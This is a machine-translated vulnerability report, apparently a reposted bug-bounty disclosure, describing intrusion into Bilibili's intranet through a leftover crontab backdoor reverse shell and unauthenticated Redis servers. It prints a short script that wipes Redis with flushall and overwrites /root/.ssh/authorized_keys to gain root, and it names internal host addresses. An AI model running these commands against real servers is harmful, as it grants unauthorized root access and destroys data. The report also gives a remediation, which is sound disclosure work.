Bilibili Intranet roaming: redis obtains the root permission

Source: Internet
Author: User

Bilibili Intranet roaming: redis obtains the root permission

I pretended to listen to a port on VPS, and then suddenly rebounded to a shell. Well, I pretend I don't know which month a crontab backdoor brought me into Bilibili's intranet again.
There are many unauthorized redis access in the Intranet. Why not ask magic conch?

Detailed description:

I pretended to listen to a port on VPS, and then suddenly rebounded to a shell.

It is probably the crontab backdoor left in the past, but this is not important.

A few days ago, it was reported that redis was not authorized to access the database and then wrote authorized_keys to forcibly obtain permissions. In short, the principle is as follows:
Http://www.bkjia.com/Article/201512/454361.html to understand the specific use.

On the intranet of Site B, I scanned port 6379 and wrote an sh script to automate the execution.
 

Code Region
redis-cli  -h $1 flushall    cat foo.txt | redis-cli -h $1 -x set 1    redis-cli -h $1 config set dir /root/.ssh    redis-cli -h $1 config set dbfilename authorized_keys    redis-cli -h $1 save

Then one of the "m q" was successful.

Bilibili ~

Because redis is started with the root permission, you can directly write files under/root/. ssh.

Proof of vulnerability:

Solution:

Use the nobody permission to start redis .,

In addition, the authorized_keys of 172.16.0.208 and 172.16.0.203 have been restored, and the crontab backdoor has been cleared.

 


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.